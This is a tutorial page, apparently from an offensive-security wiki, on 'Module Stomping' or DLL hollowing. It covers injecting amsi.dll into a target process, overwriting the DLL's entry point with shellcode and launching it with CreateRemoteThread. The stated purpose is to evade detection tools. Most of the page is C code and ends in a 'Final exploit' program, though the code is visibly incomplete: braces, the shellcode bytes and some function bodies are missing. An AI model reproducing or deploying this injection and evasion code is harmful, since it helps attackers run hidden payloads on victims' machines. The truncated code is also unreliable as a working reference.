Module Stomping

Table of content


Inject a legit DLL and stomp its base address to launch a malicious shellcode

Module Stomping also knows as DLL Hollowing is another technique used to inject shellcode in memory. It can also be used to inject full DLL. However, the injected shellcode will appear to be injected as a valid standard DLL.

Indeed, when a shellcode is injected in memory with a simple VirtualAllocEx and WriteProcessMemory it will appear as loaded from nowhere in ProcessHacker or ProcessExplorer:

Shellcode source

The Module Stomping technique aims to load the shellcode with a valid legit location such as amsi.dll.

This technique avoids the use of RWX memory page allocation in the target process. Moreover, the shellcode is loaded as a valid Windows DLL so detection system will not see any weird loading location. Finally, the remote thread launched is associated to a legit Windows module.

Hands on

  1. Inject some standard Windows DLL such as amsi.dll or advapi.dll
  2. Overwrite the loaded DLL's entry point address with the shellcode one
  3. Starts a new thread at the loaded DLL's entry point

Inject the DLL

The DLL can be injected with the following code.

The target process is opened using OpenProcess. Then the DLL path is injected in the process memory through VirtualAllocEx and WriteProcessMemory.

Finally, the DLL is loaded in the process memory through the use of LoadLibrary in a brand new thread.

#include <windows.h>
#include <stdio.h>

BOOL injectDLL(char *moduleToInject, DWORD processPID) {
    // open the target process
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processPID);

    // allocate the memory page to inject the DLL path
    void* remoteBuffer = VirtualAllocEx(processHandle, NULL, strlen(moduleToInject) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
    if (!remoteBuffer) {
        return FALSE;

    // inject the dll name
    BOOL status = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, strlen(moduleToInject) * sizeof(char), NULL);
    if (!status) {
        return FALSE;

    // load the dll with LoadLibraryW
    HMODULE kernel32 = GetModuleHandleA("Kernel32.dll");
    if (!kernel32) {
        return FALSE;
    PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(kernel32, "LoadLibraryA");
    if (!threadRoutine) {
        return FALSE;
    HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
    if (!dllThread) {
        return FALSE;
    WaitForSingleObject(dllThread, 1000);
    return TRUE;

int main()
    DWORD processPID = 30436;
    char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
    injectDLL(moduleToInject, processPID);
    return 0;

Find the DLL load address

In order to retrieve the DLL load address, it is possible to enumerate the process loaded modules through EnumProcessModules.

Then, each modules base address is resolved using GetModuleBaseNameA.

DWORD64 getDLLBaseAddress(HANDLE processHandle, char *dllName) {
    HMODULE modules[1024];
    SIZE_T modulesSize = sizeof(modules);
    DWORD modulesSizeNeeded = 0;
    EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
    SIZE_T modulesCount = modulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < modulesCount; i++)
        HMODULE remoteModule = modules[i];
        CHAR remoteModuleName[128];
        if (_stricmp(remoteModuleName, dllName) == 0) {
            return modules[i];
    return NULL;

Find the DLL entrypoint address

The DLL entrypoint address can be found in the DLL header. Thus, the DLL header is retrieved through ReadProcessMemory and the DLL base address found before. Then, the value read is casted into IMAGE_DOS_HEADER to access to the IMAGE_NT_HEADERS and finally the OptionalHeader.AddressOfEntryPoint which is the DLL entrypoint RVA.

DWORD64 getDLLEntryPointAddress(HANDLE processHandle, DWORD64 baseAddress) {
    void* buffer = calloc(0x1000, sizeof(char));
    if (!buffer) {
        return NULL;
    DWORD bufferSize = 0x1000;
    ReadProcessMemory(processHandle, (PVOID)baseAddress, buffer, bufferSize, NULL);
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)buffer + dosHeader->e_lfanew);
    return ntHeader->OptionalHeader.AddressOfEntryPoint + baseAddress;


Write and launch the shellcode

The shellcode is written at the DLL entry point address with WriteProcessMemory and a thread is relaunched:

SIZE_T writeShellcode(
    HANDLE processHandle, 
    DWORD64 entrypointAddress, 
    unsigned char* shellcode, 
    SIZE_T shellcodeLen) {

    SIZE_T writtenBytes;
    return writtenBytes;

Final exploit

int main()
    unsigned char buf[] =

    DWORD processPID = 21204;
    char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
    HANDLE processHandle = injectDLL(moduleToInject, processPID);
    if (!processHandle) {
        printf("[x] Cannot load library\n");
        return -1;

    DWORD64 baseAddress = getDLLBaseAddress(processHandle, "amsi.dll");
    if (!baseAddress) {
        printf("[x] Cannot retrieve DLL base address\n");
        return -1;
    printf("[+] DLL load at : 0x%llX\n", baseAddress);

    DWORD64 entrypointAddress = getDLLEntryPointAddress(processHandle, baseAddress);
    if (!entrypointAddress) {
        printf("[x] Cannot retrieve the entrypoint address\n");
        return -1;
    printf("[+] DLL entrypoint at : 0x%llX\n", entrypointAddress);

    SIZE_T writtenBytes = writeShellcode(processHandle, entrypointAddress, buf, sizeof(buf));
    printf("[+] %lld bytes written\n", writtenBytes);
    CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)entrypointAddress, NULL, 0, NULL);

    return 0;

It is somewhat interesting to perform a self-injection instead of injecting in another process. Indeed, performing a self-injection avoid the use of CreateRemotThread.

If a self-injection is performed, the shellcode can be launched with the following line:


results matching ""

    No results matching ""

    results matching ""

      No results matching ""